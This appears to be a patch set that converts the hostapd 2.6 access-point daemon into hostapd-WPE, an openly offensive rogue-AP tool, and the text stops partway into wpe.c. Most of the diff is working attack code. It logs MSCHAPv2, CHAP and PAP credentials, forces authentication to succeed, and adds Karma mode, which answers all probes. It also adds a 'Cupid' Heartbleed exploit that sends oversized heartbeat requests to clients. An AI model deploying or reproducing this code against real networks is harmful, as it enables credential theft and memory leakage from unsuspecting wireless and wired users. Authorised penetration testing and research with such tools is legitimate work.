diff -rupN hostapd-2.6/hostapd/config_file.c hostapd-2.6-wpe/hostapd/config_file.c --- hostapd-2.6/hostapd/config_file.c 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/hostapd/config_file.c 2016-12-17 06:12:53.647984078 -0500 @@ -20,7 +20,7 @@ #include "ap/wpa_auth.h" #include "ap/ap_config.h" #include "config_file.h" - +#include "wpe/wpe.h" #ifndef CONFIG_NO_RADIUS #ifdef EAP_SERVER @@ -2108,6 +2108,20 @@ static int hostapd_config_fill(struct ho return 1; } wpa_printf(MSG_DEBUG, "eapol_version=%d", bss->eapol_version); + } else if (os_strcmp(buf, "wpe_logfile") == 0) { + wpe_conf.wpe_logfile = os_strdup(pos); + } else if (os_strcmp(buf, "wpe_hb_send_before_handshake") == 0) { + wpe_conf.wpe_hb_send_before_handshake = atoi(pos); + } else if (os_strcmp(buf, "wpe_hb_send_before_appdata") == 0) { + wpe_conf.wpe_hb_send_before_appdata = atoi(pos); + } else if (os_strcmp(buf, "wpe_hb_send_after_appdata") == 0) { + wpe_conf.wpe_hb_send_after_appdata = atoi(pos); + } else if (os_strcmp(buf, "wpe_hb_payload_size") == 0) { + wpe_conf.wpe_hb_payload_size = atoi(pos); + } else if (os_strcmp(buf, "wpe_hb_num_repeats") == 0) { + wpe_conf.wpe_hb_num_repeats = atoi(pos); + } else if (os_strcmp(buf, "wpe_hb_num_tries") == 0) { + wpe_conf.wpe_hb_num_tries = atoi(pos); #ifdef EAP_SERVER } else if (os_strcmp(buf, "eap_authenticator") == 0) { bss->eap_server = atoi(pos); diff -rupN hostapd-2.6/hostapd/hostapd-wpe.eap_user hostapd-2.6-wpe/hostapd/hostapd-wpe.eap_user --- hostapd-2.6/hostapd/hostapd-wpe.eap_user 1969-12-31 19:00:00.000000000 -0500 +++ hostapd-2.6-wpe/hostapd/hostapd-wpe.eap_user 2016-12-17 06:12:53.947984072 -0500 @@ -0,0 +1,107 @@ +# hostapd user database for integrated EAP server + +# Each line must contain an identity, EAP method(s), and an optional password +# separated with whitespace (space or tab). The identity and password must be +# double quoted ("user"). Password can alternatively be stored as +# NtPasswordHash (16-byte MD4 hash of the unicode presentation of the password +# in unicode) if it is used for MSCHAP or MSCHAPv2 authentication. This means +# that the plaintext password does not need to be included in the user file. +# Password hash is stored as hash:<16-octets of hex data> without quotation +# marks. + +# [2] flag in the end of the line can be used to mark users for tunneled phase +# 2 authentication (e.g., within EAP-PEAP). In these cases, an anonymous +# identity can be used in the unencrypted phase 1 and the real user identity +# is transmitted only within the encrypted tunnel in phase 2. If non-anonymous +# access is needed, two user entries is needed, one for phase 1 and another +# with the same username for phase 2. +# +# EAP-TLS, EAP-PEAP, EAP-TTLS, EAP-FAST, EAP-SIM, and EAP-AKA do not use +# password option. +# EAP-MD5, EAP-MSCHAPV2, EAP-GTC, EAP-PAX, EAP-PSK, and EAP-SAKE require a +# password. +# EAP-PEAP, EAP-TTLS, and EAP-FAST require Phase 2 configuration. +# +# * can be used as a wildcard to match any user identity. The main purposes for +# this are to set anonymous phase 1 identity for EAP-PEAP and EAP-TTLS and to +# avoid having to configure every certificate for EAP-TLS authentication. The +# first matching entry is selected, so * should be used as the last phase 1 +# user entry. +# +# "prefix"* can be used to match the given prefix and anything after this. The +# main purpose for this is to be able to avoid EAP method negotiation when the +# method is using known prefix in identities (e.g., EAP-SIM and EAP-AKA). This +# is only allowed for phase 1 identities. +# +# Multiple methods can be configured to make the authenticator try them one by +# one until the peer accepts one. The method names are separated with a +# comma (,). +# +# [ver=0] and [ver=1] flags after EAP type PEAP can be used to force PEAP +# version based on the Phase 1 identity. Without this flag, the EAP +# authenticator advertises the highest supported version and select the version +# based on the first PEAP packet from the supplicant. +# +# EAP-TTLS supports both EAP and non-EAP authentication inside the tunnel. +# Tunneled EAP methods are configured with standard EAP method name and [2] +# flag. Non-EAP methods can be enabled by following method names: TTLS-PAP, +# TTLS-CHAP, TTLS-MSCHAP, TTLS-MSCHAPV2. TTLS-PAP and TTLS-CHAP require a +# plaintext password while TTLS-MSCHAP and TTLS-MSCHAPV2 can use NT password +# hash. +# +# Arbitrary RADIUS attributes can be added into Access-Accept packets similarly +# to the way radius_auth_req_attr is used for Access-Request packet in +# hostapd.conf. For EAP server, this is configured separately for each user +# entry with radius_accept_attr= line(s) following the main user entry +# line. + +# Phase 1 users +#"user" MD5 "password" +#"test user" MD5 "secret" +#"example user" TLS +#"DOMAIN\user" MSCHAPV2 "password" +#"gtc user" GTC "password" +#"pax user" PAX "unknown" +#"pax.user@example.com" PAX 0123456789abcdef0123456789abcdef +#"psk user" PSK "unknown" +#"psk.user@example.com" PSK 0123456789abcdef0123456789abcdef +#"sake.user@example.com" SAKE 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef +#"ttls" TTLS +#"not anonymous" PEAP +# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes +#"0"* AKA,TTLS,TLS,PEAP,SIM +#"1"* SIM,TTLS,TLS,PEAP,AKA +#"2"* AKA,TTLS,TLS,PEAP,SIM +#"3"* SIM,TTLS,TLS,PEAP,AKA +#"4"* AKA,TTLS,TLS,PEAP,SIM +#"5"* SIM,TTLS,TLS,PEAP,AKA +#"6"* AKA' +#"7"* AKA' +#"8"* AKA' + +# Wildcard for all other identities +#* PEAP,TTLS,TLS,SIM,AKA + +# Phase 2 (tunnelled within EAP-PEAP or EAP-TTLS) users +#"t-md5" MD5 "password" [2] +#"DOMAIN\t-mschapv2" MSCHAPV2 "password" [2] +#"t-gtc" GTC "password" [2] +#"not anonymous" MSCHAPV2 "password" [2] +#"user" MD5,GTC,MSCHAPV2 "password" [2] +#"test user" MSCHAPV2 hash:000102030405060708090a0b0c0d0e0f [2] +#"ttls-user" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2 "password" [2] + +# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes in phase 2 +#"0"* AKA [2] +#"1"* SIM [2] +#"2"* AKA [2] +#"3"* SIM [2] +#"4"* AKA [2] +#"5"* SIM [2] +#"6"* AKA' [2] +#"7"* AKA' [2] +#"8"* AKA' [2] + +# WPE - DO NOT REMOVE - These entries are specifically in here +* PEAP,TTLS,TLS,FAST +"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "t" [2] diff -rupN hostapd-2.6/hostapd/main.c hostapd-2.6-wpe/hostapd/main.c --- hostapd-2.6/hostapd/main.c 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/hostapd/main.c 2016-12-17 06:12:53.947984072 -0500 @@ -28,7 +28,7 @@ #include "config_file.h" #include "eap_register.h" #include "ctrl_iface.h" - +#include "wpe/wpe.h" struct hapd_global { void **drv_priv; @@ -448,11 +448,16 @@ static int hostapd_global_run(struct hap static void show_version(void) { fprintf(stderr, - "hostapd v" VERSION_STR "\n" + "hostapd-WPE v" VERSION_STR "\n" "User space daemon for IEEE 802.11 AP management,\n" "IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n" "Copyright (c) 2002-2016, Jouni Malinen " - "and contributors\n"); + "and contributors\n" + "-----------------------------------------------------\n" + "WPE (Wireless Pwnage Edition)\n" + "This version has been cleverly modified to target\n" + "wired and wireless users.\n" + "Thomas d'Otreppe <@aircrackng>"); } @@ -461,7 +466,7 @@ static void usage(void) show_version(); fprintf(stderr, "\n" - "usage: hostapd [-hdBKtv] [-P ] [-e ] " + "usage: hostapd-wpe [-hdBKtvskc] [-P ] [-e ] " "\\\n" " [-g ] [-G ]\\\n" " [-i ]\\\n" @@ -486,7 +491,12 @@ static void usage(void) " -i list of interface names to use\n" " -S start all the interfaces synchronously\n" " -t include timestamps in some debug messages\n" - " -v show hostapd version\n"); + " -v show hostapd version\n\n" + " WPE Options -------------------\n" + " (credential logging always enabled)\n" + " -s Return Success where possible\n" + " -k Karma Mode (Respond to all probes)\n" + " -c Cupid Mode (Heartbleed clients)\n\n"); exit(1); } @@ -661,7 +671,7 @@ int main(int argc, char *argv[]) dl_list_init(&interfaces.global_ctrl_dst); for (;;) { - c = getopt(argc, argv, "b:Bde:f:hi:KP:STtu:vg:G:"); + c = getopt(argc, argv, "b:Bde:f:hi:KP:STtu:vg:G:kcs"); if (c < 0) break; switch (c) { @@ -725,6 +735,15 @@ int main(int argc, char *argv[]) case 'u': return gen_uuid(optarg); #endif /* CONFIG_WPS */ + case 'k': + wpe_conf.wpe_enable_karma++; + break; + case 'c': + wpe_conf.wpe_enable_cupid++; + break; + case 's': + wpe_conf.wpe_enable_return_success++; + break; case 'i': if (hostapd_get_interface_names(&if_names, &if_names_size, optarg)) diff -rupN hostapd-2.6/hostapd/Makefile hostapd-2.6-wpe/hostapd/Makefile --- hostapd-2.6/hostapd/Makefile 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/hostapd/Makefile 2016-12-17 06:12:53.955984072 -0500 @@ -86,6 +86,7 @@ OBJS += ../src/ap/beacon.o OBJS += ../src/ap/bss_load.o OBJS += ../src/ap/neighbor_db.o OBJS += ../src/ap/rrm.o +OBJS += ../src/wpe/wpe.o OBJS_c = hostapd_cli.o OBJS_c += ../src/common/wpa_ctrl.o @@ -1012,7 +1013,7 @@ OBJS += ../src/fst/fst_ctrl_iface.o endif endif -ALL=hostapd hostapd_cli +ALL=hostapd-wpe hostapd-wpe_cli all: verify_config $(ALL) @@ -1051,6 +1052,15 @@ $(DESTDIR)$(BINDIR)/%: % install: $(addprefix $(DESTDIR)$(BINDIR)/,$(ALL)) +wpe: + install -d $(DESTDIR)/etc/hostapd-wpe + install -m 644 hostapd-wpe.conf hostapd-wpe.eap_user $(DESTDIR)/etc/hostapd-wpe + install -d $(DESTDIR)/etc/hostapd-wpe/certs + install -d $(DESTDIR)/etc/hostapd-wpe/certs/demoCA + install -m 644 certs/demoCA/cacert.pem $(DESTDIR)/etc/hostapd-wpe/certs/demoCA + install -m 755 certs/bootstrap $(DESTDIR)/etc/hostapd-wpe/certs + install -m 644 certs/ca.cnf certs/client.cnf certs/Makefile certs/README certs/README.wpe certs/server.cnf certs/xpextensions $(DESTDIR)/etc/hostapd-wpe/certs + ../src/drivers/build.hostapd: @if [ -f ../src/drivers/build.wpa_supplicant ]; then \ $(MAKE) -C ../src/drivers clean; \ @@ -1059,15 +1069,15 @@ install: $(addprefix $(DESTDIR)$(BINDIR) BCHECK=../src/drivers/build.hostapd -hostapd: $(BCHECK) $(OBJS) - $(Q)$(CC) $(LDFLAGS) -o hostapd $(OBJS) $(LIBS) +hostapd-wpe: $(BCHECK) $(OBJS) + $(Q)$(CC) $(LDFLAGS) -o hostapd-wpe $(OBJS) $(LIBS) @$(E) " LD " $@ ifdef CONFIG_WPA_TRACE OBJS_c += ../src/utils/trace.o endif -hostapd_cli: $(OBJS_c) - $(Q)$(CC) $(LDFLAGS) -o hostapd_cli $(OBJS_c) $(LIBS_c) +hostapd-wpe_cli: $(OBJS_c) + $(Q)$(CC) $(LDFLAGS) -o hostapd-wpe_cli $(OBJS_c) $(LIBS_c) @$(E) " LD " $@ NOBJS = nt_password_hash.o ../src/crypto/ms_funcs.o $(SHA1OBJS) @@ -1114,7 +1124,7 @@ lcov-html: clean: $(MAKE) -C ../src clean - rm -f core *~ *.o hostapd hostapd_cli nt_password_hash hlr_auc_gw + rm -f core *~ *.o hostapd-wpe hostapd-wpe_cli nt_password_hash hlr_auc_gw rm -f *.d *.gcno *.gcda *.gcov rm -f lcov.info rm -rf lcov-html diff -rupN hostapd-2.6/src/ap/beacon.c hostapd-2.6-wpe/src/ap/beacon.c --- hostapd-2.6/src/ap/beacon.c 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/src/ap/beacon.c 2016-12-17 06:12:53.955984072 -0500 @@ -30,7 +30,7 @@ #include "hs20.h" #include "dfs.h" #include "taxonomy.h" - +#include "wpe/wpe.h" #ifdef NEED_AP_MLME @@ -817,6 +817,13 @@ void handle_probe_req(struct hostapd_dat } #endif /* CONFIG_TAXONOMY */ + if (wpe_conf.wpe_enable_karma && elems.ssid_len > 0) { + wpa_printf(MSG_MSGDUMP,"[WPE] Probe request from " MACSTR ", changing SSID to '%s'", MAC2STR(mgmt->sa), wpa_ssid_txt(elems.ssid, elems.ssid_len)); + hostapd_set_ssid(hapd,elems.ssid,elems.ssid_len); + os_memcpy(&hapd->conf->ssid.ssid,elems.ssid,elems.ssid_len); + hapd->conf->ssid.ssid_len = elems.ssid_len; + } + res = ssid_match(hapd, elems.ssid, elems.ssid_len, elems.ssid_list, elems.ssid_list_len); if (res == NO_SSID_MATCH) { diff -rupN hostapd-2.6/src/ap/ieee802_11.c hostapd-2.6-wpe/src/ap/ieee802_11.c --- hostapd-2.6/src/ap/ieee802_11.c 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/src/ap/ieee802_11.c 2016-12-17 06:12:53.955984072 -0500 @@ -45,7 +45,7 @@ #include "mbo_ap.h" #include "rrm.h" #include "taxonomy.h" - +#include "wpe/wpe.h" u8 * hostapd_eid_supp_rates(struct hostapd_data *hapd, u8 *eid) { @@ -1418,8 +1418,8 @@ static u16 check_ssid(struct hostapd_dat if (ssid_ie == NULL) return WLAN_STATUS_UNSPECIFIED_FAILURE; - if (ssid_ie_len != hapd->conf->ssid.ssid_len || - os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) { + if ((!wpe_conf.wpe_enable_karma) && (ssid_ie_len != hapd->conf->ssid.ssid_len || + os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Station tried to associate with unknown SSID " diff -rupN hostapd-2.6/src/crypto/ms_funcs.h hostapd-2.6-wpe/src/crypto/ms_funcs.h --- hostapd-2.6/src/crypto/ms_funcs.h 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/src/crypto/ms_funcs.h 2016-12-17 06:12:53.955984072 -0500 @@ -9,6 +9,10 @@ #ifndef MS_FUNCS_H #define MS_FUNCS_H +int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge, + const u8 *username, size_t username_len, + u8 *challenge); + int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password, size_t password_len, diff -rupN hostapd-2.6/src/crypto/tls_openssl.c hostapd-2.6-wpe/src/crypto/tls_openssl.c --- hostapd-2.6/src/crypto/tls_openssl.c 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/src/crypto/tls_openssl.c 2016-12-17 06:16:43.435979728 -0500 @@ -21,6 +21,7 @@ #include #include #include +#include #ifndef OPENSSL_NO_ENGINE #include #endif /* OPENSSL_NO_ENGINE */ @@ -37,6 +38,7 @@ #include "sha256.h" #include "tls.h" #include "tls_openssl.h" +#include "wpe/wpe.h" #if !defined(CONFIG_FIPS) && \ (defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || \ @@ -179,6 +181,8 @@ static int tls_add_ca_from_keystore_enco #endif /* ANDROID */ +int wpe_hb_enc(struct tls_connection *conn); // WPE: To limit changes up top + static int tls_openssl_ref_count = 0; static int tls_ex_idx_session = -1; @@ -1347,7 +1351,10 @@ struct tls_connection * tls_connection_i conn->context = context; SSL_set_app_data(conn->ssl, conn); - SSL_set_msg_callback(conn->ssl, tls_msg_cb); + if (wpe_conf.wpe_enable_cupid) + SSL_set_msg_callback(conn->ssl, wpe_hb_cb); + else + SSL_set_msg_callback(conn->ssl, tls_msg_cb); SSL_set_msg_callback_arg(conn->ssl, conn); options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP_SINGLE_DH_USE; @@ -3255,8 +3262,10 @@ static struct wpabuf * openssl_handshake(struct tls_connection *conn, const struct wpabuf *in_data, int server) { - int res; + int res,i; struct wpabuf *out_data; + struct wpabuf *wpe_hb_ptr1, *wpe_hb_ptr2; + /* * Give TLS handshake data from the server (if available) to OpenSSL @@ -3316,6 +3325,25 @@ openssl_handshake(struct tls_connection } wpabuf_put(out_data, res); + if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_handshake && wpe_conf.wpe_hb_num_tries) { + + wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat request instead of handshake\n"); + wpe_hb_ptr1 = NULL; + for (i=0; i < wpe_conf.wpe_hb_num_repeats; i++) { + wpe_hb_ptr2 = wpabuf_alloc(wpe_hb_msg_len-1); + memcpy(wpabuf_mhead(wpe_hb_ptr2), (u8 *)wpe_hb_clear(), wpe_hb_msg_len-1); + wpabuf_put(wpe_hb_ptr2, wpe_hb_msg_len-1); + if (wpe_hb_ptr1) { + wpe_hb_ptr1 = wpabuf_concat(wpe_hb_ptr1,wpe_hb_ptr2); + } else { + wpe_hb_ptr1 = wpe_hb_ptr2; + } + } + conn->ssl->tlsext_hb_pending = 1; + wpe_conf.wpe_hb_num_tries--; + return wpe_hb_ptr1; + } + return out_data; } @@ -3431,6 +3459,10 @@ struct wpabuf * tls_connection_encrypt(v tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); return NULL; } + + if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_appdata) + wpe_hb_enc(conn); + res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, @@ -3438,6 +3470,10 @@ struct wpabuf * tls_connection_encrypt(v return NULL; } + if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_after_appdata) + wpe_hb_enc(conn); + + /* Read encrypted data to be sent to the server */ buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) @@ -4331,3 +4367,67 @@ void tls_connection_remove_session(struc wpa_printf(MSG_DEBUG, "OpenSSL: Removed cached session to disable session resumption"); } + +int wpe_hb_enc(struct tls_connection *conn) { + unsigned char *cbuf, *p; + + unsigned int real_payload = 18; //default: 18 /* Sequence number + random bytes */ + unsigned int padding = 16; //default: 16 /* Use minimum padding */ + + if (!SSL_is_init_finished(conn->ssl)) { + return -1; + } + + if(!conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || + conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) { + wpa_printf(MSG_DEBUG, "[WPE] warning: heartbeat extension is unsupported (try anyway)\n"); + } else { + wpa_printf(MSG_DEBUG,"[WPE] Heartbeat extention is supported, may not be vulnerable!\n"); + } + + /* Check if padding is too long, payload and padding + * must not exceed 2^14 - 3 = 16381 bytes in total. + */ + OPENSSL_assert(real_payload + padding <= 16381); + + cbuf = OPENSSL_malloc(1 + 2 + real_payload + padding); + + if(cbuf==NULL) + return -1; + + p = cbuf; + + *p++ = TLS1_HB_REQUEST; + + + /* Payload length (18 bytes here) */ + //s2n(payload, p); /* standards compliant payload */ + //s2n(payload +10, p); /* >payload to exploit heartbleed!!! */ + s2n(wpe_conf.wpe_hb_payload_size, p); /* configured payload */ + + /* Sequence number */ + s2n(conn->ssl->tlsext_hb_seq, p); + /* 16 random bytes */ + RAND_pseudo_bytes(p, 16); + //RAND_bytes(p, 16); + p += 16; + /* Random padding */ + RAND_pseudo_bytes(p, padding); + //RAND_bytes(p, padding); + + wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat reaquesting payload size %u...\n", wpe_conf.wpe_hb_payload_size); + wpa_hexdump(MSG_DEBUG, "[WPE] heartbeat packet to send:", cbuf, 1 + 2 + real_payload + padding); + + /* Send heartbeat request */ +#ifdef TLS1_RT_HEARTBEAT + if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, TLS1_RT_HEARTBEAT, +#elif defined(DTLS1_RT_HEARTBEAT) + if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, DTLS1_RT_HEARTBEAT, +#endif + cbuf, 3 + real_payload + padding) >= 0) + conn->ssl->tlsext_hb_pending = 1; + OPENSSL_free(cbuf); + + return 0; +} + diff -rupN hostapd-2.6/src/eap_server/eap_server.c hostapd-2.6-wpe/src/eap_server/eap_server.c --- hostapd-2.6/src/eap_server/eap_server.c 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/src/eap_server/eap_server.c 2016-12-17 06:12:53.955984072 -0500 @@ -23,7 +23,8 @@ #define STATE_MACHINE_DATA struct eap_sm #define STATE_MACHINE_DEBUG_PREFIX "EAP" -#define EAP_MAX_AUTH_ROUNDS 50 +//#define EAP_MAX_AUTH_ROUNDS 50 +#define EAP_MAX_AUTH_ROUNDS 50000 // wpe >:) static void eap_user_free(struct eap_user *user); @@ -164,6 +165,8 @@ int eap_user_get(struct eap_sm *sm, cons { struct eap_user *user; + char ident = 't'; + if (sm == NULL || sm->eapol_cb == NULL || sm->eapol_cb->get_eap_user == NULL) return -1; @@ -175,6 +178,11 @@ int eap_user_get(struct eap_sm *sm, cons if (user == NULL) return -1; + if (phase2) { + identity = (const u8 *)&ident; + identity_len = 1; + } + if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity, identity_len, phase2, user) != 0) { eap_user_free(user); diff -rupN hostapd-2.6/src/eap_server/eap_server_mschapv2.c hostapd-2.6-wpe/src/eap_server/eap_server_mschapv2.c --- hostapd-2.6/src/eap_server/eap_server_mschapv2.c 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/src/eap_server/eap_server_mschapv2.c 2016-12-17 06:12:53.955984072 -0500 @@ -12,7 +12,7 @@ #include "crypto/ms_funcs.h" #include "crypto/random.h" #include "eap_i.h" - +#include "wpe/wpe.h" struct eap_mschapv2_hdr { u8 op_code; /* MSCHAPV2_OP_* */ @@ -291,7 +291,7 @@ static void eap_mschapv2_process_respons size_t username_len, user_len; int res; char *buf; - + u8 wpe_challenge_hash[8]; pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData, &len); if (pos == NULL || len < 1) @@ -372,6 +372,8 @@ static void eap_mschapv2_process_respons } } #endif /* CONFIG_TESTING_OPTIONS */ + challenge_hash(peer_challenge, data->auth_challenge, username, username_len, wpe_challenge_hash); + wpe_log_chalresp("mschapv2", name, name_len, wpe_challenge_hash, 8, nt_response, 24); if (username_len != user_len || os_memcmp(username, user, username_len) != 0) { @@ -406,6 +408,11 @@ static void eap_mschapv2_process_respons return; } + if (wpe_conf.wpe_enable_return_success) { + os_memset((void *)nt_response, 0, 24); + os_memset((void *)expected, 0, 24); + } + if (os_memcmp_const(nt_response, expected, 24) == 0) { const u8 *pw_hash; u8 pw_hash_buf[16], pw_hash_hash[16]; @@ -446,6 +453,8 @@ static void eap_mschapv2_process_respons wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response"); data->state = FAILURE_REQ; } + if (wpe_conf.wpe_enable_return_success) + data->state = SUCCESS; } diff -rupN hostapd-2.6/src/eap_server/eap_server_peap.c hostapd-2.6-wpe/src/eap_server/eap_server_peap.c --- hostapd-2.6/src/eap_server/eap_server_peap.c 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/src/eap_server/eap_server_peap.c 2016-12-17 06:12:53.959984072 -0500 @@ -17,7 +17,7 @@ #include "eap_common/eap_tlv_common.h" #include "eap_common/eap_peap_common.h" #include "tncs.h" - +#include "wpe/wpe.h" /* Maximum supported PEAP version * 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt diff -rupN hostapd-2.6/src/eap_server/eap_server_ttls.c hostapd-2.6-wpe/src/eap_server/eap_server_ttls.c --- hostapd-2.6/src/eap_server/eap_server_ttls.c 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/src/eap_server/eap_server_ttls.c 2016-12-17 06:12:53.959984072 -0500 @@ -16,7 +16,7 @@ #include "eap_server/eap_tls_common.h" #include "eap_common/chap.h" #include "eap_common/eap_ttls.h" - +#include "wpe/wpe.h" #define EAP_TTLS_VERSION 0 @@ -538,9 +538,11 @@ static void eap_ttls_process_phase2_pap( return; } - if (sm->user->password_len != user_password_len || + wpe_log_basic("eap-ttls/pap", sm->identity, sm->identity_len, user_password, user_password_len); + + if ((!wpe_conf.wpe_enable_return_success) && (sm->user->password_len != user_password_len || os_memcmp_const(sm->user->password, user_password, - user_password_len) != 0) { + user_password_len) != 0)) { wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password"); eap_ttls_state(data, FAILURE); return; @@ -603,8 +605,9 @@ static void eap_ttls_process_phase2_chap chap_md5(password[0], sm->user->password, sm->user->password_len, challenge, challenge_len, hash); - if (os_memcmp_const(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == - 0) { + wpe_log_chalresp("eap-ttls/chap", sm->identity, sm->identity_len, challenge, challenge_len, password, password_len); + + if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == 0)) { wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password"); eap_ttls_state(data, SUCCESS); eap_ttls_valid_session(sm, data); @@ -672,7 +675,9 @@ static void eap_ttls_process_phase2_msch nt_challenge_response(challenge, sm->user->password, sm->user->password_len, nt_response); - if (os_memcmp_const(nt_response, response + 2 + 24, 24) == 0) { + wpe_log_chalresp("eap-ttls/mschap", sm->identity, sm->identity_len, challenge, challenge_len, response + 2 + 24, 24); + + if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(nt_response, response + 2 + 24, 24) == 0)) { wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response"); eap_ttls_state(data, SUCCESS); eap_ttls_valid_session(sm, data); @@ -694,7 +699,7 @@ static void eap_ttls_process_phase2_msch u8 *response, size_t response_len) { u8 *chal, *username, nt_response[24], *rx_resp, *peer_challenge, - *auth_challenge; + *auth_challenge, wpe_challenge_hash[8]; size_t username_len, i; if (challenge == NULL || response == NULL || @@ -779,6 +784,9 @@ static void eap_ttls_process_phase2_msch } rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8; + + challenge_hash(peer_challenge, auth_challenge, username, username_len, wpe_challenge_hash); + wpe_log_chalresp("eap-ttls/mschapv2", username, username_len, wpe_challenge_hash, 8, rx_resp, 24); #ifdef CONFIG_TESTING_OPTIONS { u8 challenge2[8]; diff -rupN hostapd-2.6/src/Makefile hostapd-2.6-wpe/src/Makefile --- hostapd-2.6/src/Makefile 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/src/Makefile 2016-12-17 06:12:53.959984072 -0500 @@ -1,5 +1,5 @@ SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps -SUBDIRS += fst +SUBDIRS += fst wpe all: for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d; done diff -rupN hostapd-2.6/src/utils/wpa_debug.c hostapd-2.6-wpe/src/utils/wpa_debug.c --- hostapd-2.6/src/utils/wpa_debug.c 2016-10-02 14:51:11.000000000 -0400 +++ hostapd-2.6-wpe/src/utils/wpa_debug.c 2016-12-17 06:12:53.963984072 -0500 @@ -30,7 +30,7 @@ static FILE *wpa_debug_tracing_file = NU int wpa_debug_level = MSG_INFO; -int wpa_debug_show_keys = 0; +int wpa_debug_show_keys = 1; // WPE >:) int wpa_debug_timestamp = 0; diff -rupN hostapd-2.6/src/wpe/Makefile hostapd-2.6-wpe/src/wpe/Makefile --- hostapd-2.6/src/wpe/Makefile 1969-12-31 19:00:00.000000000 -0500 +++ hostapd-2.6-wpe/src/wpe/Makefile 2016-12-17 06:12:53.963984072 -0500 @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff -rupN hostapd-2.6/src/wpe/wpe.c hostapd-2.6-wpe/src/wpe/wpe.c --- hostapd-2.6/src/wpe/wpe.c 1969-12-31 19:00:00.000000000 -0500 +++ hostapd-2.6-wpe/src/wpe/wpe.c 2016-12-17 06:14:09.787982636 -0500 @@ -0,0 +1,213 @@ +/* + wpe.c - + brad.antoniewicz@foundstone.com + Implements WPE (Wireless Pwnage Edition) functionality within + hostapd. + + WPE functionality focuses on targeting connecting users. At + it's core it implements credential logging (originally + implemented in FreeRADIUS-WPE), but also includes other patches + for other client attacks that have been modified to some extend. + + FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe + Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff + Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd +*/ + +#include +#include +#include "includes.h" +#include "common.h" +#include "wpe/wpe.h" +#include "utils/wpa_debug.h" + +#define wpe_logfile_default_location "./hostapd-wpe.log" + + +#define MSCHAPV2_CHAL_HASH_LEN 8 +#define MSCHAPV2_CHAL_LEN 16 +#define MSCHAPV2_RESP_LEN 24 + +char wpe_hb_msg[] = "\x18\x03\x01\x00\x03\x01\xff\xff"; +size_t wpe_hb_msg_len = sizeof(wpe_hb_msg)/sizeof(wpe_hb_msg[0]); + +struct wpe_config wpe_conf = { + .wpe_logfile = wpe_logfile_default_location, + .wpe_logfile_fp = NULL, + .wpe_enable_karma = 0, + .wpe_enable_cupid = 0, + .wpe_enable_return_success = 0, + .wpe_hb_send_before_handshake = 1, + .wpe_hb_send_before_appdata = 0, + .wpe_hb_send_after_appdata = 0, + .wpe_hb_payload_size = 50000, + .wpe_hb_num_tries = 1, + .wpe_hb_num_repeats = 10 +}; + +void 